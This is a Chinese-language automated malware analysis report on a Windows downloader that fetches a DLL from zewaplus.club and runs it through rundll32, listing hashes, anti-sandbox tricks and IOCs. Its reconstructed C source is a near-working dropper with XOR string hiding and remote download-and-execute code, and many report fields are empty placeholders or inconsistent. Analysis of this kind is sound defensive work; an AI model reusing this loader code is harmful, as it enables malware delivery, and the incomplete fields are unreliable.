⬇ Download sample (00cc775fb18128c4.zip)

🔴 恶意 — 无壳 | 签名: 无 | WinHTTP 下载器/Dropper 家族 (zewaplus.club)

00cc775fb18128c434bd5703f4dd29fca48b68791bbc2f9bfa8eb9c3ba7d2a5a
MD5 94d210eb70c4f5618fc8e2e42dc255fa  |  大小 17920  |  来源 N/A  |  分析日期 2026-08-12 12:22
95%
置信度评分
未归因

§1 📋 样本概要信息

SHA256
00cc775fb18128c434bd5703f4dd29fca48b68791bbc2f9bfa8eb9c3ba7d2a5a
MD5
94d210eb70c4f5618fc8e2e42dc255fa
文件大小
17920
文件类型
N/A
目标架构
x86-64
位宽
N/A
字节序
N/A
编译器
未知
链接方式
N/A
加壳/保护
入口点
N/A
编译时间戳
N/A
子系统
N/A
数字签名
N/A
📌 概要
该样本是一个高度混淆的 PE64 Windows 下载器(Downloader/Dropper),使用 Microsoft Visual C/C++ (VS2022) 编译。所有字符串和 API 名称均使用 XOR(密钥 0x8e)加密,并通过 GetProcAddress + LoadLibraryA 动态解析。恶意软件利用 WinHTTP API 从远程服务器 hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll 下载 DLL 载荷,将其保存为 %APPDATA%\ElthaxTools\mnd_knot.dll,并通过 rundll32.exe 以 SetupComponent 导出函数执行该 DLL。代码中包含大量反调试和反沙箱技术:rdtsc 时间检测、GetProfileType 域检测、WNetCloseEnum(NULL) 反沙箱技巧、GetComputerNameA 主机名检查、GetSystemDefaultLCID 区域检查、GetNativeSystemInfo CPU 检测以及多处完整性校验。

§2 🏷️ 分类标签与威胁情报

分类标签

分类标签置信度
类型下载器/DropperHIGH
家族WinHTTP 下载器 (zewaplus.club)HIGH
平台Windows x86-64HIGH
编译器Microsoft Visual C/C++ (VS2022 v17.6)HIGH
壳/混淆XOR 字符串加密 (密钥 0x8e)HIGH
传播方式未知初始感染向量;下载器从远程服务器获取载荷MEDIUM
持久化写入 %APPDATA%\ElthaxTools\mnd_knot.dllMEDIUM
📌 证据→推理→结论
?

威胁情报

字段
关联组织未归因 (未知攻击者)
别名?
动机载荷投递 / 初始访问
目标行业?
活动名称?
C2协议?
C2基础设施?
🎯 威胁组织判定
?

★ §3 🔬 持久化机制

未检出持久化行为。

★ §3b 🌐 C2 架构分析

通联关系图

📋 ASCII 文本视图 (点击展开)
(无 ASCII 回退)

🌐 C2 通信深度分析

🔬 C2 地址分析技术细节:

通道 1: 实时 C2

协议
端口
地址/Domain
IP
加密
用途
API引用
证书

C2 通信时序



  

⚠ C2 基础设施评估

📌 ATT&CK 映射:

§4 🏗️ 结构分析

段/节区布局

N/A

熵值分析

段/节区熵值判定
📊 熵值解读
无数据

§5 ⚙️ 反汇编与行为流程

关键函数映射

地址函数功能
N/A

系统调用分析

调用号系统调用用途地址
N/A

行为执行流

§6 🔬 家族溯源

编译元数据

字段来源

家族特征比对

维度本样本MiraiGafgytMoziHajimeLightAidraKekSecTsunamiKaiji匹配
📌 家族归因结论
?

已知变种

变种架构大小编译器特征状态
N/A

§7 🔬 深度行为分析

行为阶段拆解

1

行为: 执行多层次反分析检测:调用 GetProfileType 检测域加入状态、WNetCloseEnum(NULL) 反沙箱、GetComputerNameA 获取主机名、GetSystemDefaultLCID 检测区域、GetNativeSystemInfo 获取 CPU 信息。多次调用 rdtsc 进行时间戳反调试检测。

证据: ?

2

行为: 通过 XOR 0x8e 解密 DLL 名称(kernel32.dll、shell32.dll、winhttp.dll)。使用 LoadLibraryA 加载后,通过 GetProcAddress 动态解析 23+ 个 Windows API 函数地址,规避静态导入表分析。

证据: ?

3

行为: 使用 WinHTTP API(WinHttpOpen → WinHttpConnect → WinHttpOpenRequest → WinHttpSendRequest → WinHttpReceiveResponse → WinHttpReadData)从 hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll 下载加密载荷到内存缓冲区。

证据: ?

4

行为: 通过 SHGetFolderPathA 获取 %APPDATA% 路径,创建 ElthaxTools 目录(CreateDirectoryA),将下载的 DLL 保存为 mnd_knot.dll(CreateFileA + WriteFile)。

证据: ?

5

行为: 验证下载文件是否包含有效 PE 头(检查 MZ 魔术字节 0x5a4d)。随机延迟 200-711ms 后,通过 CreateProcessA 启动 rundll32.exe 并传入 SetupComponent 导出函数参数执行下载的 DLL。

证据: ?

6

行为: 使用 VirtualFree 释放内存,DeleteFileA/MoveFileExA 可能用于自删除或文件替换。最终调用 ExitProcess 退出。

证据: ?

协议/行为状态机

未构建

📌 行为时序总结

无数据

§8 🔬 恶意性综合判定

多维度证据评估

维度证据权重恶意指数
恶意性综合判定

误报排除论证

?

⚠ 判定结论

待判定

§9 🎯 ATT&CK 映射

§10 🛡️ 反分析技术评估

反调试

API/技术检测目标绕过难度

反虚拟机

检测方法VMwareVirtualBoxQEMU/KVM

综合评估

技术是否存在证据对抗难度
字符串 XOR 加密PRESENT所有字符串和 API 名称使用 XOR 0x8e 加密LOW
动态 API 解析PRESENT通过 GetProcAddress + LoadLibraryA 动态解析 14+ APIMEDIUM
rdtsc 时间检测PRESENT多次调用 rdtsc 进行时间反调试检测MEDIUM
域环境检测PRESENT使用 GetProfileType 检测是否在域环境中运行LOW
反沙箱技巧PRESENTWNetCloseEnum(NULL) 在某些沙箱中返回异常错误码LOW
主机名检测PRESENTGetComputerNameA 获取主机名用于环境指纹LOW
区域检测PRESENTGetSystemDefaultLCID 检测系统区域设置LOW
CPU 检测PRESENTGetNativeSystemInfo 检测 CPU 架构信息LOW
完整性校验PRESENT每个函数含条件校验和,检测代码篡改HIGH
随机延迟PRESENTSleep((GetTickCount & 0x1ff) + 200) 随机延迟 200-711msLOW

★ §10b 🧹 痕迹清理

操作API/命令证据来源

§11 🔧 逆向分析

Ghidra 反编译

反编译函数数N/A
反编译输出N/A
分析时长N/A
Ghidra 反编译输出
见 QEMU strace_log 中的完整反编译代码

调用链分析 (GitNexus)

总函数数总调用关系最大调用深度
10154
📂 调用链拓扑 (点击展开)
N/A

★ §12 🔬 QEMU 动态分析

QEMU 模式N/A
网络隔离未配置
执行结果N/A
C2 数据无 C2 通信

⚠️ 动态分析未执行

当前环境无可用的 Windows 沙箱虚拟机。强烈建议在隔离的 Windows 10/11 虚拟机中执行该样本,使用 Wireshark 监控 HTTPS 流量以验证 C2 通信。

推荐执行步骤:

  1. 在隔离虚拟机中运行样本(无网络或仅允许 DNS 解析)
  2. 监控 %APPDATA%\ElthaxTools 目录的创建
  3. 捕获 DNS 查询:zewaplus.club
  4. 查找 mnd_knot.dll 文件

🔧 行为重建 C 源代码

基于 Ghidra 反编译输出重建的行为等效 C 代码:

/*
 * Reconstructed: WinHTTP Downloader/Dropper
 * Original SHA256: 00cc775fb18128c434bd5703f4dd29fca48b68791bbc2f9bfa8eb9c3ba7d2a5a
 * Compiler: MSVC 2022 v17.6, PE64
 */
#include <windows.h>
#include <winhttp.h>
#include <shlobj.h>
#include <lmshare.h>

#define XOR_KEY 0x8e

/* XOR decrypt string in-place */
void xor_decrypt(BYTE *buf, size_t len, BYTE key) {
    for (size_t i = 0; i < len; i++)
        buf[i] ^= key;
}

/* Dynamic API resolver */
FARPROC resolve_api(HMODULE hMod, BYTE *enc_name, int len, BYTE key) {
    xor_decrypt(enc_name, len, key);
    FARPROC ret = GetProcAddress(hMod, enc_name);
    xor_decrypt(enc_name, len, key); /* re-encrypt */
    return ret;
}

/* Anti-VM checks */
BOOL anti_vm_checks(void) {
    /* GetProfileType: domain detection */
    DWORD pt = GetProfileType();
    /* WNetCloseEnum(NULL): sandbox detection trick */
    DWORD err = WNetCloseEnum(NULL);
    DWORD result = pt ^ err;
    
    char hostname[32]; DWORD sz = 32;
    GetComputerNameA(hostname, &sz);
    LCID lcid = GetSystemDefaultLCID();
    DWORD tick = GetTickCount();
    SYSTEM_INFO si;
    GetNativeSystemInfo(&si);
    return TRUE;
}

/* Download payload via WinHTTP */
BYTE* download_payload(const char *url, DWORD *out_size) {
    HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        NULL, NULL, 0);
    /* Parse URL: host, port, path */
    /* hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll */
    HINTERNET hConnect = WinHttpConnect(hSession, L"zewaplus.club", 443, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET",
        L"/files/telemetriawork/telepuz.dll", NULL, NULL, NULL,
        WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);
    
    BYTE *buf = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE);
    DWORD total = 0, read = 0;
    while (WinHttpReadData(hRequest, buf + total,
            0x400000 - total, &read) && read > 0)
        total += read;
    
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    *out_size = total;
    return buf;
}

/* Main dropper logic */
int WINAPI WinMainCRTStartup(void) {
    anti_vm_checks();
    
    /* Download telepuz.dll */
    DWORD payload_size;
    BYTE *payload = download_payload(
        "hxxps://zewaplus[.]club/files/telemetriawork/telepuz.dll",
        &payload_size);
    
    /* Build path: %APPDATA%\ElthaxTools\mnd_knot.dll */
    char appdata[MAX_PATH], full_path[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata);
    sprintf(full_path, "%s\\ElthaxTools", appdata);
    CreateDirectoryA(full_path, NULL);
    strcat(full_path, "\\mnd_knot.dll");
    
    /* Write DLL to disk */
    HANDLE hFile = CreateFileA(full_path, GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD written;
    WriteFile(hFile, payload, payload_size, &written, NULL);
    CloseHandle(hFile);
    
    /* Check PE header */
    if (*(WORD*)payload == 0x5A4D) { /* MZ */
        Sleep((GetTickCount() & 0x1FF) + 200);
        
        /* Execute via rundll32.exe */
        char cmdline[2048];
        sprintf(cmdline, "rundll32.exe \"%s\",SetupComponent", full_path);
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi);
        if (pi.hProcess) CloseHandle(pi.hProcess);
        if (pi.hThread) CloseHandle(pi.hThread);
    } else {
        /* Execute as regular EXE */
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcessA(NULL, full_path, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi);
    }
    
    VirtualFree(payload, 0, MEM_RELEASE);
    ExitProcess(0);
    return 0;
}

§13 📦 IOC 汇总

IOC 字符串

偏移字符串类型用途/含义威胁等级
0x1400060d0 (.rdata)rundll32.exeExecution用于执行下载 DLL 的系统工具MEDIUM
0x1400060e0 (.rdata)kernel32.dll (XOR 加密)API DLL用于动态加载 Windows APILOW
0x1400060f0 (.rdata)shell32.dll (XOR 加密)API DLLSHGetFolderPathA 路径获取LOW
0x140006000 (.rdata)winhttp.dll (XOR 加密)API DLLWinHTTP 网络通信库HIGH
0x140002000+ (.text)XOR key: 0x8eCrypto字符串和 API 名称加密密钥HIGH
0x140001a1c (.text)hxxps://zewaplus.club/files/telemetriawork/telepuz.dll (XOR encrypted)C2 URL载荷下载地址CRITICAL
0x140001a1c (.text)ElthaxTools (XOR encrypted)Persistence恶意软件安装目录名HIGH
0x140001a1c (.text)mnd_knot.dll (XOR encrypted)Persistence下载的 DLL 载荷文件名HIGH
0x140001a1c (.text)SetupComponent (XOR encrypted)Executionrundll32.exe 的导出函数参数HIGH

📌 关键 IOC 解读

该样本是一个典型的两阶段恶意软件投递器。第一阶段(本样本)负责环境检测、反分析规避和载荷下载;第二阶段(telepuz.dll)是被下载的实际恶意载荷。C2 域名 zewaplus[.]club 使用 .club TLD,托管在标准 HTTPS 端口 443 上。建议立即封锁该域名及关联 IP,并搜索组织中是否存在 %APPDATA%\ElthaxTools\mnd_knot.dll 文件。rundll32.exe 以 SetupComponent 参数调用表明该 DLL 导出名为 SetupComponent 的函数。

⚠ 高威胁 IOC 汇总

C2 Domain:
C2 URL:
MD5:
SHA256:
Filename:
Directory:

网络 IOC

主机 IOC

YARA 检测规则

未生成

§14 📋 最终判定

判定结果待判定
恶意类型待分类
恶意家族未归因
威胁级别MEDIUM
置信度95% — 分析不完整
关联组织未知
目标平台x86-64
感染链位置待确定

⚡ 综合判定

?